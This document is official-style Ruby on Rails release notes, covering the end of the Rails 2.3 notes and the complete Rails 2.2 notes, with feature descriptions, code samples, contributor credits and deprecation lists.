You can also specify (by using the new preload_frameworks option) whether the core libraries should be autoloaded at startup. This defaults to false so that Rails autoloads itself piece-by-piece, but there are some circumstances where you still need to bring in everything at once - Passenger and JRuby both want to see all of Rails loaded together.

8.5 rake gem Task Rewrite

The internals of the various rake gem tasks have been substantially revised, to make the system work better for a variety of cases. The gem system now knows the difference between development and runtime dependencies, has a more robust unpacking system, gives better information when querying for the status of gems, and is less prone to "chicken and egg" dependency issues when you're bringing things up from scratch. There are also fixes for using gem commands under JRuby and for dependencies that try to bring in external copies of gems that are already vendored.

Lead Contributor: David Dollar

8.6 Other Railties Changes

The instructions for updating a CI server to build Rails have been updated and expanded.

Internal Rails testing has been switched from Test::Unit::TestCase to ActiveSupport::TestCase, and the Rails core requires Mocha to test.

The default environment.rb file has been decluttered.

The dbconsole script now lets you use an all-numeric password without crashing.

Rails.root now returns a Pathname object, which means you can use it directly with the join method to clean up existing code that uses File.join.

Various files in /public that deal with CGI and FCGI dispatching are no longer generated in every Rails application by default (you can still get them if you need them by adding --with-dispatchers when you run the rails command, or add them later with rake rails:update:generate_dispatchers).

Rails Guides have been converted from AsciiDoc to Textile markup.

Scaffolded views and controllers have been cleaned up a bit.

script/server now accepts a --path argument to mount a Rails application from a specific path.

If any configured gems are missing, the gem rake tasks will skip loading much of the environment. This should solve many of the "chicken-and-egg" problems where rake gems:install couldn't run because gems were missing.

Gems are now unpacked exactly once. This fixes issues with gems (hoe, for instance) which are packed with read-only permissions on the files.

9 Deprecated

A few pieces of older code are deprecated in this release:

If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the irs_process_scripts plugin.

render_component goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the render_component plugin.

Support for Rails components has been removed.

If you were one of the people who got used to running script/performance/request to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There's a new request_profiler plugin that you can install to get the exact same functionality back.

ActionController::Base#session_enabled? is deprecated because sessions are lazy-loaded now.

The :digest and :secret options to protect_from_forgery are deprecated and have no effect.

Some integration test helpers have been removed. response.headers["Status"] and headers["Status"] will no longer return anything. Rack does not allow "Status" in its return headers. However you can still use the status and status_message helpers. response.headers["cookie"] and headers["cookie"] will no longer return any CGI cookies. You can inspect headers["Set-Cookie"] to see the raw cookie header or use the cookies helper to get a hash of the cookies sent to the client.

formatted_polymorphic_url is deprecated. Use polymorphic_url with :format instead.

The :http_only option in ActionController::Response#set_cookie has been renamed to :httponly.

The :connector and :skip_last_comma options of to_sentence have been replaced by :words_connector, :two_words_connector, and :last_word_connector options.

Posting a multipart form with an empty file_field control used to submit an empty string to the controller. Now it submits a nil, due to differences between Rack's multipart parser and the old Rails one.

10 Credits

Release notes compiled by Mike Gunderloy. This version of the Rails 2.3 release notes was compiled based on RC2 of Rails 2.3.

Ruby on Rails 2.2 Release Notes

Rails 2.2 delivers several new and improved features. This list covers the major upgrades but doesn't include every little bug fix and change. If you want to see everything, check out the list of commits in the main Rails repository on GitHub.

Along with Rails, 2.2 marks the launch of the Ruby on Rails Guides, the first results of the ongoing Rails Guides hackfest. This site will deliver high-quality documentation of the major features of Rails.

Chapters

Infrastructure

Internationalization

Compatibility with Ruby 1.9 and JRuby

Documentation

Better integration with HTTP : Out of the box ETag support

Thread Safety

Active Record

Transactional Migrations

Connection Pooling

Hashes for Join Table Conditions

New Dynamic Finders

Associations Respect Private/Protected Scope

Other Active Record Changes

Action Controller

Shallow Route Nesting

Method Arrays for Member or Collection Routes

Resources With Specific Actions

Other Action Controller Changes

Action View

Action Mailer

Active Support

Memoization

each_with_object

Delegates With Prefixes

Other Active Support Changes

Railties

config.gems

Other Railties Changes

Deprecated

Credits

1 Infrastructure

Rails 2.2 is a significant release for the infrastructure that keeps Rails humming along and connected to the rest of the world.

1.1 Internationalization

Rails 2.2 supplies an easy system for internationalization (or i18n, for those of you tired of typing).

Lead Contributors: Rails i18 Team

More information :

Official Rails i18 website

Finally. Ruby on Rails gets internationalized

Localizing Rails : Demo application

1.2 Compatibility with Ruby 1.9 and JRuby

Along with thread safety, a lot of work has been done to make Rails work well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a moving target, running edge Rails on edge Ruby is still a hit-or-miss proposition, but Rails is ready to make the transition to Ruby 1.9 when the latter is released.

2 Documentation

The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the Ruby on Rails Guides project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:

Getting Started with Rails

Rails Database Migrations

Active Record Associations

Active Record Query Interface

Layouts and Rendering in Rails

Action View Form Helpers

Rails Routing from the Outside In

Action Controller Overview

Rails Caching

A Guide to Testing Rails Applications

Securing Rails Applications

Debugging Rails Applications

The Basics of Creating Rails Plugins

All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers.

If you want to generate these guides locally, inside your application:

  $ rake doc:guides

This will put the guides inside Rails.root/doc/guides and you may start surfing straight away by opening Rails.root/doc/guides/index.html in your favorite browser.

Major contributions from Xavier Noria and Hongli Lai.

More information:

Rails Guides hackfest

Help improve Rails documentation on Git branch

3 Better integration with HTTP : Out of the box ETag support

Supporting the ETag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn't been modified lately. This allows you to check whether a response needs to be sent at all.

  class ArticlesController < ApplicationController
  def show_with_respond_to_block
    @article = Article.find(params[:id])

    # If the request sends headers that differs from the options provided to stale?, then
    # the request is indeed stale and the respond_to block is triggered (and the options
    # to the stale? call is set on the response).
    #
    # If the request headers match, then the request is fresh and the respond_to block is
    # not triggered. Instead, the default render will occur, which will check the last-modified
    # and etag headers and conclude that it only needs to send a "304 Not Modified" instead
    # of rendering the template.
    if stale?(:last_modified => @article.published_at.utc, :etag => @article)
      respond_to do |wants|
        # normal response processing
      end
    end
  end

  def show_with_implied_render
    @article = Article.find(params[:id])

    # Sets the response headers and checks them against the request, if the request is stale
    # (i.e. no match of either etag or last-modified), then the default render of the template happens.
    # If the request is fresh, then the default render will return a "304 Not Modified"
    # instead of rendering the template.
    fresh_when(:last_modified => @article.published_at.utc, :etag => @article)
  end
end

4 Thread Safety

The work done to make Rails thread-safe is rolling out in Rails 2.2. Depending on your web server infrastructure, this means you can handle more requests with fewer copies of Rails in memory, leading to better server performance and higher utilization of multiple cores.

To enable multithreaded dispatching in production mode of your application, add the following line in your config/environments/production.rb:

  config.threadsafe!

More information :

Thread safety for your Rails

Thread safety project announcement

Q/A: What Thread-safe Rails Means

5 Active Record

There are two big additions to talk about here: transactional migrations and pooled database transactions. There's also a new (and cleaner) syntax for join table conditions, as well as a number of smaller improvements.

5.1 Transactional Migrations

Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn't applied. Also, the migration version was stored as having been executed, which means that it couldn't be simply rerun by rake db:migrate:redo after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail, the entire migration is undone. In Rails 2.2, transactional migrations are supported on PostgreSQL out of the box. The code is extensible to other database types in the future - and IBM has already extended it to support the DB2 adapter.

Lead Contributor: Adam Wiggins

More information:

DDL Transactions

A major milestone for DB2 on Rails

5.2 Connection Pooling

Connection pooling lets Rails distribute database requests across a pool of database connections that will grow to a maximum size (by default 5, but you can add a pool key to your database.yml to adjust this). This helps remove bottlenecks in applications that support many concurrent users. There's also a wait_timeout that defaults to 5 seconds before giving up. ActiveRecord::Base.connection_pool gives you direct access to the pool if you need it.

  development:
  adapter: mysql
  username: root
  database: sample_development
  pool: 10
  wait_timeout: 10

Lead Contributor: Nick Sieger

More information:

What's New in Edge Rails: Connection Pools

5.3 Hashes for Join Table Conditions

You can now specify conditions on join tables using a hash. This is a big help if you need to query across complex joins.

  class Photo < ActiveRecord::Base
  belongs_to :product
end

class Product < ActiveRecord::Base
  has_many :photos
end

# Get all products with copyright-free photos:
Product.all(:joins => :photos, :conditions => { :photos => { :copyright => false }})

More information:

What's New in Edge Rails: Easy Join Table Conditions

5.4 New Dynamic Finders

Two new sets of methods have been added to Active Record's dynamic finders family.

5.4.1 find_last_by_attribute

The find_last_by_attribute method is equivalent to Model.last(:conditions => {:attribute => value})

  # Get the last user who signed up from London
User.find_last_by_city('London')

Lead Contributor: Emilio Tagua

5.4.2 find_by_attribute!

The new bang! version of find_by_attribute! is equivalent to Model.first(:conditions => {:attribute => value}) || raise ActiveRecord::RecordNotFound Instead of returning nil if it can't find a matching record, this method will raise an exception if it cannot find a match.

  # Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't signed up yet!
User.find_by_name!('Moby')

Lead Contributor: Josh Susser

5.5 Associations Respect Private/Protected Scope

Active Record association proxies now respect the scope of methods on the proxied object. Previously (given User has_one :account) @user.account.private_method would call the private method on the associated Account object. That fails in Rails 2.2; if you need this functionality, you should use @user.account.send(:private_method) (or make the method public instead of private or protected). Please note that if you're overriding method_missing, you should also override respond_to to match the behavior in order for associations to function normally.

Lead Contributor: Adam Milligan

More information:

Rails 2.2 Change: Private Methods on Association Proxies are Private

5.6 Other Active Record Changes

rake db:migrate:redo now accepts an optional VERSION to target that specific migration to redo

Set config.active_record.timestamped_migrations = false to have migrations with numeric prefix instead of UTC timestamp.

Counter cache columns (for associations declared with :counter_cache => true) do not need to be initialized to zero any longer.

ActiveRecord::Base.human_name for an internationalization-aware humane translation of model names

6 Action Controller

On the controller side, there are several changes that will help tidy up your routes. There are also some internal changes in the routing engine to lower memory usage on complex applications.

6.1 Shallow Route Nesting

Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with.

  map.resources :publishers, :shallow => true do |publisher|
  publisher.resources :magazines do |magazine|
    magazine.resources :photos
  end
end

This will enable recognition of (among others) these routes:

  /publishers/1           ==> publisher_path(1)
/publishers/1/magazines ==> publisher_magazines_path(1)
/magazines/2            ==> magazine_path(2)
/magazines/2/photos     ==> magazines_photos_path(2)
/photos/3               ==> photo_path(3)

Lead Contributor: S. Brent Faulkner

More information:

Rails Routing from the Outside In

What's New in Edge Rails: Shallow Routes

6.2 Method Arrays for Member or Collection Routes

You can now supply an array of methods for new member or collection routes. This removes the annoyance of having to define a route as accepting any verb as soon as you need it to handle more than one. With Rails 2.2, this is a legitimate route declaration:

  map.resources :photos, :collection => { :search => [:get, :post] }

Lead Contributor: Brennan Dunn

6.3 Resources With Specific Actions

By default, when you use map.resources to create a route, Rails generates routes for seven default actions (index, show, create, new, edit, update, and destroy). But each of these routes takes up memory in your application, and causes Rails to generate additional routing logic. Now you can use the :only and :except options to fine-tune the routes that Rails will generate for resources. You can supply a single action, an array of actions, or the special :all or :none options. These options are inherited by nested resources.

  map.resources :photos, :only => [:index, :show]
map.resources :products, :except => :destroy

Lead Contributor: Tom Stuart

6.4 Other Action Controller Changes

You can now easily show a custom error page for exceptions raised while routing a request.

The HTTP Accept header is disabled by default now. You should prefer the use of formatted URLs (such as /customers/1.xml) to indicate the format that you want. If you need the Accept headers, you can turn them back on with config.action_controller.use_accept_header = true.

Benchmarking numbers are now reported in milliseconds rather than tiny fractions of seconds

Rails now supports HTTP-only cookies (and uses them for sessions), which help mitigate some cross-site scripting risks in newer browsers.

redirect_to now fully supports URI schemes (so, for example, you can redirect to a svn`ssh: URI).

render now supports a :js option to render plain vanilla JavaScript with the right mime type.

Request forgery protection has been tightened up to apply to HTML-formatted content requests only.

Polymorphic URLs behave more sensibly if a passed parameter is nil. For example, calling polymorphic_path([@project, @date, @area]) with a nil date will give you project_area_path.

7 Action View

javascript_include_tag and stylesheet_link_tag support a new :recursive option to be used along with :all, so that you can load an entire tree of files with a single line of code.

The included Prototype JavaScript library has been upgraded to version 1.6.0.3.

RJS#page.reload to reload the browser's current location via JavaScript

The atom_feed helper now takes an :instruct option to let you insert XML processing instructions.

8 Action Mailer

Action Mailer now supports mailer layouts. You can make your HTML emails as pretty as your in-browser views by supplying an appropriately-named layout - for example, the CustomerMailer class expects to use layouts/customer_mailer.html.erb.

More information:

What's New in Edge Rails: Mailer Layouts

Action Mailer now offers built-in support for GMail's SMTP servers, by turning on STARTTLS automatically. This requires Ruby 1.8.7 to be installed.

9 Active Support

Active Support now offers built-in memoization for Rails applications, the each_with_object method, prefix support on delegates, and various other new utility methods.

9.1 Memoization

Memoization is a pattern of initializing a method once and then stashing its value away for repeat use. You've probably used this pattern in your own applications:

  def full_name
  @full_name ||= "#{first_name} #{last_name}"
end

Memoization lets you handle this task in a declarative fashion:

  extend ActiveSupport::Memoizable

def full_name
  "#{first_name} #{last_name}"
end
memoize :full_name

Other features of memoization include unmemoize, unmemoize_all, and memoize_all to turn memoization on or off.

Lead Contributor: Josh Peek

More information:

What's New in Edge Rails: Easy Memoization

Memo-what? A Guide to Memoization

9.2 each_with_object

The each_with_object method provides an alternative to inject, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block.

  %w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } # => {'foo' => 'FOO', 'bar' => 'BAR'}

Lead Contributor: Adam Keys

9.3 Delegates With Prefixes

If you delegate behavior from one class to another, you can now specify a prefix that will be used to identify the delegated methods. For example:

  class Vendor < ActiveRecord::Base
  has_one :account
  delegate :email, :password, :to => :account, :prefix => true
end

This will produce delegated methods vendor#account_email and vendor#account_password. You can also specify a custom prefix:

  class Vendor < ActiveRecord::Base
  has_one :account
  delegate :email, :password, :to => :account, :prefix => :owner
end

This will produce delegated methods vendor#owner_email and vendor#owner_password.

Lead Contributor: Daniel Schierbeck

9.4 Other Active Support Changes

Extensive updates to ActiveSupport::Multibyte, including Ruby 1.9 compatibility fixes.

The addition of ActiveSupport::Rescuable allows any class to mix in the rescue_from syntax.

past?, today? and future? for Date and Time classes to facilitate date/time comparisons.

Array#second through Array#fifth as aliases for Array#[1] through Array#[4]

Enumerable#many? to encapsulate collection.size > 1

Inflector#parameterize produces a URL-ready version of its input, for use in to_param.

Time#advance recognizes fractional days and weeks, so you can do 1.7.weeks.ago, 1.5.hours.since, and so on.

The included TzInfo library has been upgraded to version 0.3.12.

ActiveSupport::StringInquirer gives you a pretty way to test for equality in strings: ActiveSupport::StringInquirer.new("abc").abc? => true

10 Railties

In Railties (the core code of Rails itself) the biggest changes are in the config.gems mechanism.

10.1 config.gems

To avoid deployment issues and make Rails applications more self-contained, it's possible to place copies of all of the gems that your Rails application requires in /vendor/gems. This capability first appeared in Rails 2.1, but it's much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands:

config.gem _gem_name_ in your config/environment.rb file

rake gems to list all configured gems, as well as whether they (and their dependencies) are installed, frozen, or framework (framework gems are those loaded by Rails before the gem dependency code is executed; such gems cannot be frozen)

rake gems:install to install missing gems to the computer

rake gems:unpack to place a copy of the required gems into /vendor/gems

rake gems:unpack:dependencies to get copies of the required gems and their dependencies into /vendor/gems

rake gems:build to build any missing native extensions

rake gems:refresh_specs to bring vendored gems created with Rails 2.1 into alignment with the Rails 2.2 way of storing them

You can unpack or install a single gem by specifying GEM=_gem_name_ on the command line.

Lead Contributor: Matt Jones

More information:

What's New in Edge Rails: Gem Dependencies

Rails 2.1.2 and 2.2RC1: Update Your RubyGems

Detailed discussion on Lighthouse

10.2 Other Railties Changes

If you're a fan of the Thin web server, you'll be happy to know that script/server now supports Thin directly.

script/plugin install &lt;plugin&gt; -r &lt;revision&gt; now works with git-based as well as svn-based plugins.

script/console now supports a --debugger option

Instructions for setting up a continuous integration server to build Rails itself are included in the Rails source

rake notes:custom ANNOTATION=MYFLAG lets you list out custom annotations.

Wrapped Rails.env in StringInquirer so you can do Rails.env.development?

To eliminate deprecation warnings and properly handle gem dependencies, Rails now requires rubygems 1.3.1 or higher.

11 Deprecated

A few pieces of older code are deprecated in this release:

Rails::SecretKeyGenerator has been replaced by ActiveSupport::SecureRandom

render_component is deprecated. There's a render_components plugin available if you need this functionality.

Implicit local assignments when rendering partials has been deprecated.

def partial_with_implicit_local_assignment
  @customer = Customer.new("Marcel")
  render :partial => "customer"
end

Previously the above code made available a local variable called customer inside the partial 'customer'. You should explicitly pass all the variables via :locals hash now.

country_select has been removed. See the deprecation page for more information and a plugin replacement.

ActiveRecord::Base.allow_concurrency no longer has any effect.

ActiveRecord::Errors.default_error_messages has been deprecated in favor of I18n.translate('activerecord.errors.messages')

The %s and %d interpolation syntax for internationalization is deprecated.

String#chars has been deprecated in favor of String#mb_chars.

Durations of fractional months or fractional years are deprecated. Use Ruby's core Date and Time class arithmetic instead.

Request#relative_url_root is deprecated. Use ActionController::Base.relative_url_root instead.

12 Credits

Release notes compiled by Mike Gunderloy